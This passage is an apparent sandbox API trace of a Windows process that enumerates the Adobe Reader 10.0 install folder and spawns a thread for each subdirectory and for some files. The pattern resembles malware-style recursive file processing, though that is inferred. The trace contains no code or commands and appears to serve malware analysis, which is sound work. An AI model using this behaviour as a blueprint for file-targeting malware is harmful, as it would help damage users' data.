ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1 [0049.368] wcscmp (_String1="AdobeLinguistic.dll", _String2=".") returned 1 [0049.369] wcscmp (_String1="AdobeLinguistic.dll", _String2="..") returned 1 [0049.369] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37398, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0049.369] wcscmp (_String1="adoberfp.dll", _String2=".") returned 1 [0049.369] wcscmp (_String1="adoberfp.dll", _String2="..") returned 1 [0049.369] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a598, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0049.369] wcscmp (_String1="AdobeXMP.dll", _String2=".") returned 1 [0049.369] wcscmp (_String1="AdobeXMP.dll", _String2="..") returned 1 [0049.369] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80352c80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0049.369] wcscmp (_String1="AGM.dll", _String2=".") returned 1 [0049.369] wcscmp (_String1="AGM.dll", _String2="..") returned 1 [0049.369] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1 [0049.369] wcscmp (_String1="AGMGPUOptIn.ini", _String2=".") returned 1 [0049.369] wcscmp (_String1="AGMGPUOptIn.ini", _String2="..") returned 1 [0049.369] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x4473a8 [0049.369] wcscpy (in: _Dest=0x4473a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.369] wcscat (in: _Dest=0x4473a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.369] wcscat (in: _Dest=0x4473a8, _Source="AGMGPUOptIn.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" [0049.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4473a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0049.370] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x366c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0049.370] wcscmp (_String1="ahclient.dll", _String2=".") returned 1 [0049.370] wcscmp (_String1="ahclient.dll", _String2="..") returned 1 [0049.370] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0049.370] wcscmp (_String1="AIR", _String2=".") returned 1 [0049.370] wcscmp (_String1="AIR", _String2="..") returned 1 [0049.370] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e46cd8 [0049.370] wcscpy (in: _Dest=0x5e46cd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.371] wcscat (in: _Dest=0x5e46cd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.371] wcscat (in: _Dest=0x5e46cd8, _Source="AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0049.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e46cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0049.372] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0x0, dwReserved1=0x0, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0049.372] wcscmp (_String1="authplay.dll", _String2=".") returned 1 [0049.372] wcscmp (_String1="authplay.dll", _String2="..") returned 1 [0049.372] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1 [0049.372] wcscmp (_String1="AXE8SharedExpat.dll", _String2=".") returned 1 [0049.372] wcscmp (_String1="AXE8SharedExpat.dll", _String2="..") returned 1 [0049.372] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x91590, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0049.372] wcscmp (_String1="AXSLE.dll", _String2=".") returned 1 [0049.372] wcscmp (_String1="AXSLE.dll", _String2="..") returned 1 [0049.372] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1af88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0049.372] wcscmp (_String1="BIB.dll", _String2=".") returned 1 [0049.372] wcscmp (_String1="BIB.dll", _String2="..") returned 1 [0049.372] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0049.372] wcscmp (_String1="BIBUtils.dll", _String2=".") returned 1 [0049.372] wcscmp (_String1="BIBUtils.dll", _String2="..") returned 1 [0049.372] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0049.372] wcscmp (_String1="Browser", _String2=".") returned 1 [0049.372] wcscmp (_String1="Browser", _String2="..") returned 1 [0049.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef5b8 [0049.373] wcscpy (in: _Dest=0x4ef5b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.373] wcscat (in: _Dest=0x4ef5b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.373] wcscat (in: _Dest=0x4ef5b8, _Source="Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0049.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0049.374] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1 [0049.374] wcscmp (_String1="ccme_base.dll", _String2=".") returned 1 [0049.374] wcscmp (_String1="ccme_base.dll", _String2="..") returned 1 [0049.374] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff9aa20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aa998, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0049.374] wcscmp (_String1="CoolType.dll", _String2=".") returned 1 [0049.374] wcscmp (_String1="CoolType.dll", _String2="..") returned 1 [0049.374] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802945a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1 [0049.374] wcscmp (_String1="cryptocme2.dll", _String2=".") returned 1 [0049.374] wcscmp (_String1="cryptocme2.dll", _String2="..") returned 1 [0049.374] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x647, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1 [0049.374] wcscmp (_String1="cryptocme2.sig", _String2=".") returned 1 [0049.374] wcscmp (_String1="cryptocme2.sig", _String2="..") returned 1 [0049.374] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447188 [0049.374] wcscpy (in: _Dest=0x447188, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.374] wcscat (in: _Dest=0x447188, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.374] wcscat (in: _Dest=0x447188, _Source="cryptocme2.sig" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" [0049.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0049.375] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0049.375] wcscmp (_String1="Eula.exe", _String2=".") returned 1 [0049.375] wcscmp (_String1="Eula.exe", _String2="..") returned 1 [0049.375] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1 [0049.375] wcscmp (_String1="ExtendScript.dll", _String2=".") returned 1 [0049.376] wcscmp (_String1="ExtendScript.dll", _String2="..") returned 1 [0049.376] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb03a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0049.376] wcscmp (_String1="icucnv40.dll", _String2=".") returned 1 [0049.376] wcscmp (_String1="icucnv40.dll", _String2="..") returned 1 [0049.376] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17790, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0049.376] wcscmp (_String1="icudt40.dll", _String2=".") returned 1 [0049.376] wcscmp (_String1="icudt40.dll", _String2="..") returned 1 [0049.376] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x837d71e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd46fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40_full.dll", cAlternateFileName="ICUDT4~1.DLL")) returned 1 [0049.376] wcscmp (_String1="icudt40_full.dll", _String2=".") returned 1 [0049.376] wcscmp (_String1="icudt40_full.dll", _String2="..") returned 1 [0049.376] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1131a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icuuc40.dll", cAlternateFileName="")) returned 1 [0049.376] wcscmp (_String1="icuuc40.dll", _String2=".") returned 1 [0049.376] wcscmp (_String1="icuuc40.dll", _String2="..") returned 1 [0049.376] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1 [0049.376] wcscmp (_String1="IDTemplates", _String2=".") returned 1 [0049.376] wcscmp (_String1="IDTemplates", _String2="..") returned 1 [0049.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400a98 [0049.376] wcscpy (in: _Dest=0x400a98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.376] wcscat (in: _Dest=0x400a98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.376] wcscat (in: _Dest=0x400a98, _Source="IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0049.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0049.378] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0049.378] wcscmp (_String1="Javascripts", _String2=".") returned 1 [0049.378] wcscmp (_String1="Javascripts", _String2="..") returned 1 [0049.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400e18 [0049.378] wcscpy (in: _Dest=0x400e18, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.378] wcscat (in: _Dest=0x400e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.378] wcscat (in: _Dest=0x400e18, _Source="Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0049.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0049.379] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6790, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0049.379] wcscmp (_String1="JP2KLib.dll", _String2=".") returned 1 [0049.379] wcscmp (_String1="JP2KLib.dll", _String2="..") returned 1 [0049.379] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0049.379] wcscmp (_String1="Legal", _String2=".") returned 1 [0049.379] wcscmp (_String1="Legal", _String2="..") returned 1 [0049.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4ef630 [0049.379] wcscpy (in: _Dest=0x4ef630, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.379] wcscat (in: _Dest=0x4ef630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.380] wcscat (in: _Dest=0x4ef630, _Source="Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0049.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0049.381] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0049.381] wcscmp (_String1="Locale", _String2=".") returned 1 [0049.381] wcscmp (_String1="Locale", _String2="..") returned 1 [0049.381] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef6a8 [0049.381] wcscpy (in: _Dest=0x4ef6a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.381] wcscat (in: _Dest=0x4ef6a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 